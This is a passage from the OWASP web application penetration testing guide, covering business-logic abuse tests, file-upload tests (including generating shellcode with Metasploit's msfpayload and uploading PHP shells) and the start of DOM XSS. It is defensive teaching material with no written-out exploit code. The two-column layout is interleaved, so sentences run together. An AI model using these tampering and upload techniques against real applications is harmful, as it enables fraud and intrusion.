• Real-Life Example of a ‘Business Logic Defect - http://h30501. and reimbursed by them. What happens if an attacker is able to
www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life- continue a valid in-stock transaction and send it as out-of-stock
Example-of-a-Business-Logic-Defect-Screen-Shots/ba- to your partner? What happens if an attacker is able to get in the
p/22581 middle and send messages to the partner warehouse ordering
carpet without payment?
• Software Testing Lifecycle - http://softwaretestingfundamen-
tals.com/software-testing-life-cycle/ Example 2
Many credit card systems are now downloading account bal-
• Top 10 Business Logic Attack Vectors Attacking and Exploiting ances nightly so the customers can check out more quickly for
Business Application Assets and Flaws – Vulnerability Detection amounts under a certain value. The inverse is also true. I
to Fix - f I pay my credit card off in the morning I may not be able to use
http://www.ntobjectives.com/go/business-logic-attack-vec- the available credit in the evening. Another example may be if I
tors-white-paper/ and http://www.ntobjectives.com/files/ use my credit card at multiple locations very quickly it may be
180

Web Application Penetration Testing

possible to exceed my limit if the systems are basing decisions age&q=business%20logic%20example%20valid%20data%20


on last night’s data. example&f=false

How to Test Remediation


Generic Test Method The application/system must ensure that only “logically valid”
data is accepted at all input and hand off points of the applica-
• Review the project documentation and use exploratory testing tion or system and data is not simply trusted once it has entered
looking for data entry points or hand off points between sys- the system.
tems or software.
Test Ability to forge requests
• Once found try to insert logically invalid data into the applica (OTG-BUSLOGIC-002)
tion/system. Summary
Forging requests is a method that attackers use to circumvent
Specific Testing Method: the front end GUI application to directly submit information for
back end processing. The goal of the attacker is to send HTTP
• Perform front-end GUI Functional Valid testing on the POST/GET requests through an intercepting proxy with data val-
application to ensure that the only “valid” values are accepted. ues that is not supported, guarded against or expected by the
applications business logic. Some examples of forged requests
• Using an intercepting proxy observe the HTTP POST/GET look include exploiting guessable or predictable parameters or ex-
ing for places that variables such as cost and quality are passed. pose “hidden” features and functionality such as enabling de-
Specifically, look for “hand-offs” between application/systems bugging or presenting special screens or windows that are very
that may be possible injection of tamper points. useful during development but may leak information or bypass
the business logic.
• Once variables are found start interrogating the field with log
ically “invalid” data, such as social security numbers or unique Vulnerabilities related to the ability to forge requests is unique
identifiers that do not exist or that do not fit the business log- to each application and different from business logic data valida-
ic. This testing verifies that the server functions properly and tion in that it s focus is on breaking the business logic workflow.
does not accept logically invalid data them.
Applications should have logic checks in place to prevent the
Related Test Cases system from accepting forged requests that may allow attack-
ers the opportunity to exploit the business logic, process, or flow
• All Input Validation test cases of the application. Request forgery is nothing new; the attacker
uses an intercepting proxy to send HTTP POST/GET requests to
• Testing for Account Enumeration and Guessable User Account the application. Through request forgeries attackers may be able
(OTG-IDENT-004) to circumvent the business logic or process by finding, predict-
ing and manipulating parameters to make the application think a
• Testing for Bypassing Session Management Schema process or task has or has not taken place.
(OTG-SESS-001)
Also, forged requests may allow subvention of programmatic or
• Testing for Exposed Session Variables (OTG-SESS-004) business logic flow by invoking “hidden” features or functional-
ity such as debugging initially used by developers and testers
Tools sometimes referred to as an ”Easter egg”. “An Easter egg is an
• OWASP Zed Attack Proxy (ZAP) - intentional inside joke, hidden message, or feature in a work such
https://www.owasp.org/index.php/OWASP_Zed_Attack_ as a computer program, movie, book, or crossword. According to
Proxy_Project game designer Warren Robinett, the term was coined at Atari by
personnel who were alerted to the presence of a secret message
• ZAP is an easy to use integrated penetration testing tool for which had been hidden by Robinett in his already widely distrib-
finding vulnerabilities in web applications. It is designed to be uted game, Adventure. The name has been said to evoke the idea
used by people with a wide range of security experience and as of a traditional Easter egg hunt.” http://en.wikipedia.org/wiki/
such is ideal for developers and functional testers who are new Easter_egg_(media)
to penetration testing. ZAP provides automated scanners as
well as a set of tools that allow you to find security vulnerabil- Examples
ities manually. Example 1
Suppose an e-commerce theater site allows users to select their
References ticket, apply a onetime 10% Senior discount on the entire sale,
Beginning Microsoft Visual Studio LightSwitch Development - view the subtotal and tender the sale. If an attacker is able to
http://books.google.com/books?id=x76L_kaTgdEC&p- see through a proxy that the application has a hidden field (of
g=PA280&lpg=PA280&dq=business+logic+example+valid+- 1 or 0) used by the business logic to determine if a discount has
data+example&source=bl&ots=GOfQ-7f4Hu&sig=4jOe- been taken or not. The attacker is then able to submit the 1 or “no
jZVligZOrvjBFRAT4-jy8DI&hl=en&sa=X&ei=mydYUt6qE- discount has been taken” value multiple times to take advantage
OX54APu7IDgCQ&ved=0CFIQ6AEwBDgK#v=onep- of the same discount multiple times.
181

Web Application Penetration Testing

Example 2 used by people with a wide range of security experience and as


Suppose an online video game pays out tokens for points scored such is ideal for developers and functional testers who are new
for finding pirates treasure and pirates and for each level com- to penetration testing. ZAP provides automated scanners as
pleted. These tokens can later be that can later be exchanged well as a set of tools that allow you to find security vulnerabil-
for prizes. Additionally each level’s points have a multiplier value ities manually.
equal to the level. If an attacker was able to see through a proxy
that the application has a hidden field used during development References
and testing to quickly get to the highest levels of the game they Cross Site Request Forgery - Legitimizing Forged Requests
could quickly get to the highest levels and accumulate unearned http://fragilesecurity.blogspot.com/2012/11/cross-site-
points quickly. request-forgery-legitimazing.html

Also, if an attacker was able to see through a proxy that the ap- Debugging features which remain present in the final game
plication has a hidden field used during development and testing http://glitchcity.info/wiki/index.php/List_of_video_games_
to enabled a log that indicated where other online players, or hid- with_debugging_features#Debugging_features_which_
den treasure were in relation to the attacker, they would then be remain_present_in_the_final_game
able to quickly go to these locations and score points.
Easter egg - http://en.wikipedia.org/wiki/Easter_egg_(media)
How to Test
Generic Testing Method Top 10 Software Easter Eggs - http://lifehacker.com/371083/
top-10-software-easter-eggs
• Review the project documentation and use exploratory testing
looking for guessable, predictable or hidden functionality of Remediation
fields. The application must be smart enough and designed with busi-
ness logic that will prevent attackers from predicting and manip-
• Once found try to insert logically valid data into the application/ ulating parameters to subvert programmatic or business logic
system allowing the user go through the application/system flow, or exploiting hidden/undocumented functionality such as
against the normal busineess logic workflow. debugging.

Specific Testing Method 1 Test integrity checks (OTG-BUSLOGIC-003)


Summary
• Using an intercepting proxy observe the HTTP POST/GET Many applications are designed to display different fields de-
looking for some indication that values are incrementing at a pending on the user of situation by leaving some inputs hidden.
regular interval or are easily guessable. However, in many cases it is possible to submit values hidden
field values to the server using a proxy. In these cases the serv-
• If it is found that some value is guessable this value may be er side controls must be smart enough to perform relational or
changed and one may gain unexpected visibility. server side edits to ensure that the proper data is allowed to the
server based on user and application specific business logic.
Specific Testing Method 2
Additionally, the application must not depend on non-editable
• Using an intercepting proxy observe the HTTP POST/GET controls, drop-down menus or hidden fields for business logic
looking for some indication of hidden features such as debug processing because these fields remain non-editable only in the
that can be switched on or activated. context of the browsers. Users may be able to edit their values
using proxy editor tools and try to manipulate business logic.
• If any are found try to guess and change these values to get a If the application exposes values related to business rules like
different application response or behavior. quantity, etc. as non-editable fields it must maintain a copy on
the server side and use the same for business logic processing.
Related Test Cases Finally, aside application/system data, log systems must be se-
cured to prevent read, writing and updating.
Testing for Exposed Session Variables (OTG-SESS-004) Business logic integrity check vulnerabilities is unique in that
these misuse cases are application specific and if users are able
Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005) to make changes one should only be able to write or update/edit
specific artifacts at specific times per the business process logic.
Testing for Account Enumeration and Guessable User Account
(OTG-IDENT-004) The application must be smart enough to check for relational
edits and not allow users to submit information directly to the
Tools server that is not valid, trusted because it came from a non-ed-
OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org itable controls or the user is not authorized to submit through
index.php/OWASP_Zed_Attack_Proxy_Project the front end. Additionally, system artifacts such as logs must be
“protected” from unauthorized read, writing and removal.
ZAP is an easy to use integrated penetration testing tool for
finding vulnerabilities in web applications. It is designed to be Example
182

Web Application Penetration Testing

Example 1 the busines logic workflow.


Imagine an ASP.NET application GUI application that only allows
the admin user to change the password for other users in the Specific Testing Method 1
system. The admin user will see the username and password • Using a proxy capture and HTTP traffic looking for hidden fields.
fields to enter a username and password while other users will
not see either field. However, if a non admin user submits infor- • If a hidden field is found see how these fields compare with
mation in the username and password field through a proxy they the GUI application and start interrogating this value through
may be able to “trick” the server into believing that the request the proxy by submitting different data values trying to
has come from an admin user and change password of other us- circumvent the business process and manipulate values you
ers. were not intended to have access to.

Example 2 Specific Testing Method 2


Most web applications have dropdown lists making it easy for • Using a proxy capture and HTTP traffic looking a place to insert
the user to quickly select their state, month of birth, etc. Suppose information into areas of the application that are non-editable.
a Project Management application allowed users to login and
depending on their privileges presented them with a drop down • If it is found see how these fields compare with the GUI
list of projects they have access to. What happens if an attack- application and start interrogating this value through the proxy
er finds the name of another project that they should not have by submitting different data values trying to circumvent the
access to and submits the information via a proxy. Will the ap- business process and manipulate values you were not intended
plication give access to the project? They should not have access to have access to.
even though they skipped an authorization business logic check.
Specific Testing Method 3
Example 3 • List components of the application or system that could be
Suppose the motor vehicle administration system required an edited, for example logs or databases.
employee initially verify each citizens documentation and infor-
mation when they issue an identification or driver’s license. At • For each component identified, try to read, edit or remove
this point the business process has created data with a high level its information. For example log files should be identified and
of integrity as the integrity of submitted data is checked by the Testers should try to manipulate the data/information being
application. Now suppose the application is moved to the Inter- collected.
net so employees can log on for full service or citizens can log on
for a reduced self-service application to update certain informa- Related Test Cases
tion. At this point an attacker may be able to use an intercepting All Input Validation test cases
proxy to add or update data that they should not have access to
and they could destroy the integrity of the data by stating that Tools
the citizen was not married but supplying data for a spouse’s • Various system/application tools such as editors and file
name. This type of inserting or updating of unverified data de- manipulation tools.
stroys the data integrity and might have been prevented if the
business process logic was followed. • OWASP Zed Attack Proxy (ZAP) - https://www.owasp.orgindex
php/OWASP_Zed_Attack_Proxy_Project
Example 4
Many systems include logging for auditing and troubleshooting ZAP is an easy to use integrated penetration testing tool for
purposes. But, how good/valid is the information in these logs? finding vulnerabilities in web applications. It is designed to be
Can they be manipulated by attackers either intentionally or ac- used by people with a wide range of security experience and as
cidentially having their integrity destroyed? such is ideal for developers and functional testers who are new
to penetration testing. ZAP provides automated scanners as
How to Test well as a set of tools that allow you to find security vulnerabil-
Generic Testing Method ities manually.
• Review the project documentation and use exploratory testing
looking for parts of the application/system (components i.e. References
For example, input fields, databases or logs) that move, store • Implementing Referential Integrity and Shared Business Logic
or handle data/information. in a RDB - http://www.agiledata.org/essayreferentialIntegrity.
html
• For each identified component determine what type of • On Rules and Integrity Constraints in Database Systems
data/information is logically acceptable and what types the http://www.comp.nus.edu.sg/~lingtw/papers/IST92.teopk.pdf
application/system should guard against. Also, consider who
according to the business logic is allowed to insert, update and • Use referential integrity to enforce basic business rules in
delete data/information and in each component. Oracle - http://www.techrepublic.com/article/use-referential-
integrity-to-enforce-basic-business-rules-in-oracle/
• Attempt to insert, update or edit delete the data/information
values with invalid data/information into each component (i.e. • Maximizing Business Logic Reuse with Reactive Logic - http:/
input, database, or log) by users that .should not be allowed per architects.dzone.com/articles/maximizing-business-logic
183

Web Application Penetration Testing

time they log on. What if an attacker logs on and places an order
• Tamper Evidence Logging - http://tamperevident.cs.rice.edu but does not complete the transaction until later in the day only
Logging.html of the price of the metals goes up? Will the attacker get the initial
lower price?
Remediation
The application must be smart enough to check for relational How to Test
edits and not allow users to submit information directly to the • Review the project documentation and use exploratory
server that is not valid, trusted because it came from a non-edit- testing looking for application/system functionality that may
able controls or the user is not authorized to submit through the be impacted by time. Such as execution time or actions that
front end. Additionally, any component that can be edited must help users predict a future outcome or allow one to circumvent
have mechanisms in place to prevent unintentional/intentional any part of the business logic or workflow. For example, not
writing or updating. completing transactions in an expected time.

Test for Process Timing (OTG-BUSLOGIC-004) • Develop and execute the mis-use cases ensuring that attackers
Summary can not gain an advantage based on any timing.
It is possible that attackers can gather information on an appli-
cation by monitoring the time it takes to complete a task or give Related Test Cases
a respond. Additionally, attackers may be able to manipulate and
break designed business process flows by simply keeping active • Testing for Cookies attributes (OTG-SESS-002)
sessions open and not submitting their transactions in the “ex-
pected” time frame. • Test Session Timeout (OTG-SESS-007)

Process timing logic vulnerabilities is unique in that these man- References


ual misuse cases should be created considering execution and None
transaction timing that are application/system specific.
Remediation
Processing timing may give/leak information on what is being Develop applications with processing time in mind. If attackers
done in the application/system background processes. If an ap- could possibly gain some type of advantage from knowing the
plication allows users to guess what the particulate next out- different processing times and results add extra steps or pro-
come will be by processing time variations, users will be able to cessing so that no matter the results they are provided in the
adjust accordingly and change behavior based on the expecta- same time frame.
tion and “game the system”.
Additionally, the application/system must have mechanism in
Example place to not allow attackers to extend transactions over an “ac-
Example 1 ceptable” amount of time. This may be done by cancelling or re-
Video gambling/slot machines may take longer to process a setting transactions after a specified amount of time has passed
transaction just prior to a large payout. This would allow astute like some ticket vendors are now using.
gamblers to gamble minimum amounts until they see the long
process time which would then prompt them to bet the maxi- Test number of times a function can be used
mum. limits (OTG-BUSLOGIC-005)
Summary
Example 2 Many of the problems that applications are solving require lim-
Many system log on processes ask for the user name and pass- its to the number of times a function can be used or action can
word. If you look closely you may be able to see that entering an be executed. Applications must be “smart enough” to not allow
invalid user name and invalid user password takes more time to the user to exceed their limit on the use of these functions since
return an error than entering a valid username and invalid user in many cases each time the function is used the user may gain
password. This may allow the attacker to know if they have a some type of benefit that must be accounted for to properly
valid username and not need to rely on the GUI message. compensate the owner. For example: an eCommerce site may
only allow a users apply a discount once per transaction, or some
Example 3 applications may be on a subscription plan and only allow users
Most Arenas or travel agencies have ticketing applications that to download three complete documents monthly.
allow users to purchase tickets and reserve seats. When the user
requests the tickets seats are locked or reserved pending pay- Vulnerabilities related to testing for the function limits are appli-
ment. What if an attacker keeps reserving seats but not checking cation specific and misuse cases must be created that strive to
out? Will the seats be released, or will no tickets be sold? Some exercise parts of the application/functions/ or actions more than
ticket vendors now only allow users 5 minutes to complete a the allowable number of times.
transaction or the transaction is invalidated. Attackers may be able to circumvent the business logic and exe-
cute a function more times than “allowable” exploiting the appli-
Example 4 cation for personal gain.
Suppose a precious metals e-commerce site allows users to
make purchases with a price quote based on market price at the Example
184

Web Application Penetration Testing

Suppose an eCommerce site allows users to take advantage of zation of staff, or one or more simple or complex mechanisms.
any one of many discounts on their total purchase and then pro- Workflow may be seen as any abstraction of real work.” (https://
ceed to checkout and tendering. What happens of the attacker en.wikipedia.org/wiki/Workflow)
navigates back to the discounts page after taking and applying
the one “allowable” discount? Can they take advantage of an- The application’s business logic must require that the user com-
other discount? Can they take advantage of the same discount plete specific steps in the correct/specific order and if the work-
multiple times? flow is terminated without correctly completing, all actions and
spawned actions are “rolled back” or canceled. Vulnerabilities re-
How to Test lated to the circumvention of workflows or bypassing the correct
• Review the project documentation and use exploratory testing business logic workflow are unique in that they are very applica-
looking for functions or features in the application or system tion/system specific and careful manual misuse cases must be
that should not be executed more that a single time or specified developed using requirements and use cases.
number of times during the business logic workflow.
The applications business process must have checks to ensure
• For each of the functions and features found that should only that the user’s transactions/actions are proceeding in the cor-
be executed a single time or specified number of times during rect/acceptable order and if a transaction triggers some sort of
the business logic workflow, develop abuse/misuse cases that action, that action will be “rolled back” and removed if the trans-
may allow a user to execute more than the allowable number of action is not successfully completed.
times. For example, can a user navigate back and forth through
the pages multiple times executing a function that should only Examples
execute once? or can a user load and unload shopping carts Example 1
allowing for additional discounts. Many of us receive so type of “club/loyalty points” for purchas-
es from grocery stores and gas stations. Suppose a user was
Related Test Cases able to start a transaction linked to their account and then af-
ter points have been added to their club/loyalty account cancel
• Testing for Account Enumeration and Guessable User Account out of the transaction or remove items from their “basket” and
(OTG-IDENT-004) tender. In this case the system either should not apply points/
credits to the account until it is tendered or points/credits should
• Testing for Weak lock out mechanism (OTG-AUTHN-003) be “rolled back” if the point/credit increment does not match the
final tender. With this in mind, an attacker may start transac-
References tions and cancel them to build their point levels without actually
InfoPath Forms Services business logic exceeded the maximum buy anything.
limit of operations Rule - http://mpwiki.viacode.com/default.as-
px?g=posts&t=115678 Example 2
An electronic bulletin board system may be designed to ensure
Gold Trading Was Temporarily Halted On The CME This Morning that initial posts do not contain profanity based on a list that the
- http://www.businessinsider.com/gold-halted-on-cme-for- post is compared against. If a word on a “black” the list is found
stop-logic-event-2013-10 in the user entered text the submission is not posted. But, once a
submission is posted the submitter can access, edit, and change
Remediation the submission contents to include words included on the pro-
The application should have checks to ensure that the business fanity/black list since on edit the posting is never compared
logic is being followed and that if a function/action can only be again. Keeping this in mind, attackers may open an initial blank or
executed a certain number of times, when the limit is reached minimal discussion then add in whatever they like as an update.
the user can no longer execute the function. To prevent users
from using a function over the appropriate number of times the How to Test
application may use mechanisms such as cookies to keep count Generic Testing Method
or through sessions not allowing users to access to execute the • Review the project documentation and use exploratory testing
function additional times. looking for methods to skip or go to steps in the application
process in a different order from the designed/intended
Testing for the Circumvention of Work Flows business logic flow.
(OTG-BUSLOGIC-006)
Summary • For each method develop a misuse case and try to circumvent
Workflow vulnerabilities involve any type of vulnerability that al- or perform an action that is “not acceptable” per the the
lows the attacker to misuse an application/system in a way that business logic workflow.
will allow them to circumvent (not follow) the designed/intended
workflow. Testing Method 1
• Start a transaction going through the application past the
“A workflow consists of a sequence of connected steps where points that triggers credits/points to the users account.
each step follows without delay or gap and ends just before the
subsequent step may begin. It is a depiction of a sequence of • Cancel out of the transaction or reduce the final tender so that
operations, declared as work of a person or group, an organi- the point values should be decreased and check the points/
185

Web Application Penetration Testing

credit system to ensure that the proper points/credits were cess in the correct order and prevent attackers from circumvent-
recorded. ing/skipping/or repeating any steps/processes in the workflow.
Test for workflow vulnerabilities involves developing business
Testing Method 2 logic abuse/misuse cases with the goal of successfully complet-
• On a content management or bulletin board system enter and ing the business process while not completing the correct steps
save valid initial text or values. in the correct order.

• Then try to append, edit and remove data that would leave the Test defenses against application mis-use
existing data in an invalid state or with invalid values to ensure (OTG-BUSLOGIC-007)
that the user is not allowed to save the incorrect information. Summary
Some “invalid” data or information may be specific words The misuse and invalid use of of valid functionality can identify
(profanity) or specific topics (such as political issues). attacks attempting to enumerate the web application, identify
weaknesses, and exploit vulnerabilities. Tests should be under-
Related Test Cases taken to determine whether there are application-layer defen-
sive mechanisms in place to protect the application.
• Testing Directory traversal/file include (OTG-AUTHZ-001)
The lack of active defenses allows an attacker to hunt for vulner-
• Testing for bypassing authorization schema (OTG-AUTHZ-002) abilities without any recourse. The application’s owner will thus
not know their application is under attack.
• Testing for Bypassing Session Management Schema
(OTGSESS-001) Example
An authenticated user undertakes the following (unlikely) se-
• Test Business Logic Data Validation (OTG-BUSLOGIC-001) quence of actions:

• Test Ability to Forge Requests (OTG-BUSLOGIC-002) [1] Attempt to access a file ID their roles is not permitted to
download
• Test Integrity Checks (OTG-BUSLOGIC-003) [2] Substitutes a single tick (‘) instead of the file ID number
[3] Alters a GET request to a POST
• Test for Process Timing (OTG-BUSLOGIC-004) [4] Adds an extra parameter
[5] Duplicates a parameter name/value pair
• Test Number of Times a Function Can be Used Limits
(OTG-BUSLOGIC-005) The application is monitoring for misuse and responds after the
5th event with extremely high confidence the user is an attacker.
• Test Defenses Against Application Mis-use For example the application:
(OTG-BUSLOGIC-007)
• Disables critical functionality
• Test Upload of Unexpected File Types (OTG-BUSLOGIC-008) • Enables additional authentication steps to the remaining
functionality
• Test Upload of Malicious Files (OTG-BUSLOGIC-009) • Adds time-delays into every request-response cycle
• Begins to record additional data about the user’s interactions
References (e.g. sanitized HTTP request headers, bodies and response
• OWASP Detail Misuse Cases - https://www.owasp.org/index bodies)
php/Detail_misuse_cases
If the application does not respond in any way and the attack-
• Real-Life Example of a ‘Business Logic Defect - http://h30501 er can continue to abuse functionality and submit clearly mali-
www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life- cious content at the application, the application has failed this
Example-of-a-Business-Logic-Defect-Screen-Shots/ba- test case. In practice the discrete example actions in the example
p/22581 above are unlikely to occur like that. It is much more probable that
a fuzzing tool is used to identify weaknesses in each parameter
• Top 10 Business Logic Attack Vectors Attacking and Exploiting in turn. This is what a security tester will have undertaken too.
Business Application Assets and Flaws – Vulnerability Detection
to Fix - http://www.ntobjectives.com/go/business-logic- How to Test
attack-vectors-white-paper/ and http://www.ntobjectives. This test is unusual in that the result can be drawn from all the
com/files/Business_Logic_White_Paper.pdf other tests performed against the web application. While per-
forming all the other tests, take note of measures that might
• CWE-840: Business Logic Errors - http://cwe.mitre.org/data indicate the application has in-built self-defense:
definitions/840.html
• Changed responses
Remediation • Blocked requests
The application must be self-aware and have checks in place en- • Actions that log a user out or lock their account
suring that the users complete each step in the work flow pro-
186

Web Application Penetration Testing

These may only be localised. Common localized (per function) CrossTalk The Journal of Defense Software Engineering, Vol.
defenses are: 24, No. 5, Sep/Oct 2011

• Rejecting input containing certain characters Test Upload of Unexpected File Types
• Locking out an account temporarily after a number of (OTG-BUSLOGIC-008)
authentication failures Summary
Many application’s business processes allow for the upload and
Localized security controls are not sufficient. There are often no manipulation of data that is submitted via files. But the business
defenses against general mis-use such as: process must check the files and only allow certain “approved”
file types. Deciding what files are “approved” is determined by
• Forced browsing the business logic and is application/system specific. The risk in
• Bypassing presentation layer input validation that by allowing users to upload files, attackers may submit an
• Multiple access control errors unexpected file type that that could be executed and adversely
• Additional, duplicated or missing parameter names impact the application or system through attacks that may de-
• Multiple input validation or business logic verification failures face the web site, perform remote commands, browse the sys-
with values that cannot be the result user mistakes or typos tem files, browse the local resources, attack other servers, or
• Structured data (e.g. JSPN, XML) of an invalid format is received exploit the local vulnerabilities, just to name a few.
• Blatant cross-site scripting or SQL injection payloads are
received Vulnerabilities related to the upload of unexpected file types is
• Utilising the application faster than would be possible without unique in that the upload should quickly reject a file if it does not
automation tools have a specific extension. Additionally, this is different from up-
• Change in continental geo-location of a user loading malicious files in that in most cases an incorrect file for-
• Change of user agent mat may not by it self be inherently “malicious” but may be det-
• Accessing a multi-stage business process in the wrong order rimental to the saved data. For example if an application accepts
• Large number of, or high rate of use of, application-specific Windows Excel files, if an similar database file is uploaded it may
functionality (e.g. voucher code submission, failed credit card be read but data extracted my be moved to incorrect locations.
payments, file uploads, file downloads, log outs, etc).
The application may be expecting only certain file types to be
These defenses work best in authenticated parts of the appli- uploaded for processing, such as .CSV, .txt files. The application
cation, although rate of creation of new accounts or accessing may not validate the uploaded file by extension (for low assur-
content (e.g. to scrape information) can be of use in public areas. ance file validation) or content (high assurance file validation).
This may result in unexpected system or database results within
Not all the above need to be monitored by the application, but the application/system or give attackers additional methods to
there is a problem if none of them are. By testing the web appli- exploit the application/system.
cation, doing the above type of actions, was any response tak-
en against the tester? If not, the tester should report that the Example
application appears to have no application-wide active defenses Suppose a picture sharing application allows users to upload a
against misuse. Note it is sometimes possible that all responses .gif or .jpg graphic file to the web site. What if an attacker is able
to attack detection are silent to the user (e.g. logging changes, to upload an html file with a <script> tag in it or php file? The
increased monitoring, alerts to administrators and and request system may move the file from a temporary location to the final
proxying), so confidence in this finding cannot be guaranteed. In location where the php code can now be executed against the
practice, very few applications (or related infrastructure such as application or system.
a web application firewall) are detecting these types of misuse.
How to Test
Related Test Cases Generic Testing Method
All other test cases are relevant. • Review the project documentation and perform some
exploratory testing looking for file types that should be
Tools “unsupported” by the application/system.
The tester can use many of the tools used for the other test cas-
es. • Try to upload these “unsupported” files an verify that it are
properly rejected.
References
• Resilient Software, Software Assurance, US Department • If multiple files can be uploaded at once, there must be tests in
Homeland Security place to verify that each file is properly evaluated.
• IR 7684 Common Misuse Scoring System (CMSS), NIST
• Common Attack Pattern Enumeration and Classification Specific Testing Method
(CAPEC), The Mitre Corporation
• OWASP_AppSensor_Project • Study the applications logical requirements.
• AppSensor Guide v2, OWASP
• Watson C, Coates M, Melton J and Groves G, Creating Attack • Prepare a library of files that are “not approved” for upload that
Aware Software Applications with Real-Time Defenses, may contain files such as: jsp, exe, or html files containing script.
187

Web Application Penetration Testing

bilities may not be considered a “malicious” to a main frame flat


• In the application navigate to the file submission or upload file environment.
mechanism.
The application may allow the upload of malicious files that in-
• Submit the “not approved” file for upload and verify that they clude exploits or shellcode without submitting them to malicious
are properly prevented from uploading file scanning. Malicious files could be detected and stopped at
various points of the application architecture such as: IPS/IDS,
Related Test Cases application server anti-virus software or anti-virus scanning by
• Test File Extensions Handling for Sensitive Information application as files are uploaded (perhaps offloading the scan-
(OTG-CONFIG-003) ning using SCAP).
• Test Upload of Malicious Files (OTG-BUSLOGIC-009)
Example
References Suppose a picture sharing application allows users to upload
• OWASP - Unrestricted File Upload - https://www.owasp.org their .gif or .jpg graphic files to the web site. What if an attacker
index.php/Unrestricted_File_Upload is able to upload a PHP shell, or exe file, or virus? The attacker
may then upload the file that may be saved on the system and
• File upload security best practices: Block a malicious file the virus may spread itself or through remote processes exes or
upload - http://www.computerweekly.com/answer/File- shell code can be executed.
upload-security-best-practices-Block-a-malicious-file-upload
How to Test
• Stop people uploading malicious PHP files via forms - http:/ Generic Testing Method
stackoverflow.com/questions/602539/stop-people- • Review the project documentation and use exploratory testing
uploading-malicious-php-files-via-forms looking at the application/system to identify what constitutes
and “malicious” file in your environment.
• CWE-434: Unrestricted Upload of File with Dangerous Type -
http://cwe.mitre.org/data/definitions/434.html • Develop or acquire a known “malicious” file.

• Secure Programming Tips - Handling File Uploads - https:/ • Try to upload the malicious file to the application/system and
www.datasprings.com/resources/dnn-tutorials/artmid/535/ verify that it is correctly rejected.
articleid/65/secure-programming-tips-handling-file-uploads?
AspxAutoDetectCookieSupport=1 • If multiple files can be uploaded at once, there must be tests in
place to verify that each file is properly evaluated.
Remediation
Applications should be developed with mechanisms to only ac- Specific Testing Method 1
cept and manipulate “acceptable“ files that the rest of the appli- • Using the Metasploit payload generation functionality
cation functionality is ready to handle and expecting. Some spe- generates a shellcode as a Windows executable using the
cific examples include: Black or White listing of file extensions, Metasploit “msfpayload” command.
using “Content-Type” from the header, or using a file type recog-
nizer, all to only allow specified file types into the system. • Submit the executable via the application’s upload functionality
and see if it is accepted or properly rejected.
Test Upload of Malicious Files
(OTG-BUSLOGIC-009) Specific Testing Method 2
Summary • Develop or create a file that should fail the application malware
Many application’s business processes allow for the upload of detection process. There are many available on the Internet
data/information. We regularly check the validity and security of such as ducklin.htm or ducklin-html.htm.
text but accepting files can introduce even more risk. To reduce
the risk we may only accept certain file extensions, but attackers • Submit the executable via the application’s upload functionality
are able to encapsulate malicious code into inert file types. Test- and see if it is accepted or properly rejected.
ing for malicious files verifies that the application/system is able
to correctly protect against attackers uploading malicious files. Specific Testing Method 3
• Set up the intercepting proxy to capture the “valid” request for
Vulnerabilities related to the uploading of malicious files is an accepted file.
unique in that these “malicious” files can easily be reject-
ed through including business logic that will scan files during • Send an “invalid” request through with a valid/acceptable file
the upload process and reject those perceived as malicious. extension and see if the request is accepted or properly
Additionally, this is different from uploading unexpected files in rejected.
that while the file type may be accepted the file may still be ma-
licious to the system. Related Test Cases

Finally, “malicious” means different things to different systems, • Test File Extensions Handling for Sensitive Information
for example Malicious files that may exploit SQL server vulnera- (OTG-CONFIG-003)
188

Web Application Penetration Testing

• Test Upload of Unexpected File Types (OTG-BUSLOGIC-008) Client-Side testing is concerned with the execution of code on
the client, typically natively within a web browser or browser
Tools plugin. The execution of code on the client-side is distinct from
• Metasploit’s payload generation functionality executing on the server and returning the subsequent content.

• Intercepting proxy Testing for DOM-based Cross site scripting


(OTG-CLIENT-001)
References Summary
• OWASP - Unrestricted File Upload - https://www.owasp.org DOM-based Cross-Site Scripting is the de-facto name for XSS
index.php/Unrestricted_File_Upload bugs which are the result of active browser-side content on a
page, typically JavaScript, obtaining user input and then doing
• Why File Upload Forms are a Major Security Threat - http:/ something unsafe with it which leads to execution of injected
www.acunetix.com/websitesecurity/upload-forms-threat/ code. This document only discusses JavaScript bugs which lead
to XSS.
• File upload security best practices: Block a malicious file upload
http://www.computerweekly.com/answer/File-upload- The DOM, or Document Object Model, is the structural format
security-best-practices-Block-a-malicious-file-upload used to represent documents in a browser. The DOM enables
dynamic scripts such as JavaScript to reference components of
• Overview of Malicious File Upload Attacks the document such as a form field or a session cookie. The DOM
http:/securitymecca.com/article/overview-of-malicious-file- is also used by the browser for security - for example to limit
upload-attacks/ scripts on different domains from obtaining session cookies for
other domains. A DOM-based XSS vulnerability may occur when
• Stop people uploading malicious PHP files via forms active content, such as a JavaScript function, is modified by a
http://stackoverflow.com/questions/602539/stop-people- specially crafted request such that a DOM element that can be
uploading-malicious-php-files-via-forms controlled by an attacker.

• How to Tell if a File is Malicious There have been very few papers published on this topic and, as
http://www.techsupportalert.com/content/how-tell-if-file- such, very little standardization of its meaning and formalized
malicious.htm testing exists.

• CWE-434: Unrestricted Upload of File with Dangerous Type How to Test


http://cwe.mitre.org/data/definitions/434.html Not all XSS bugs require the attacker to control the content re-
turned from the server, but can instead abuse poor JavaScript
• Implementing Secure File Upload coding practices to achieve the same results. The consequences
http://infosecauditor.wordpress.com/tag/malicious-file- are the same as a typical XSS flaw, only the means of delivery is
upload/ different.

• Watchful File Upload In comparison to other cross site scripting vulnerabilities (re-
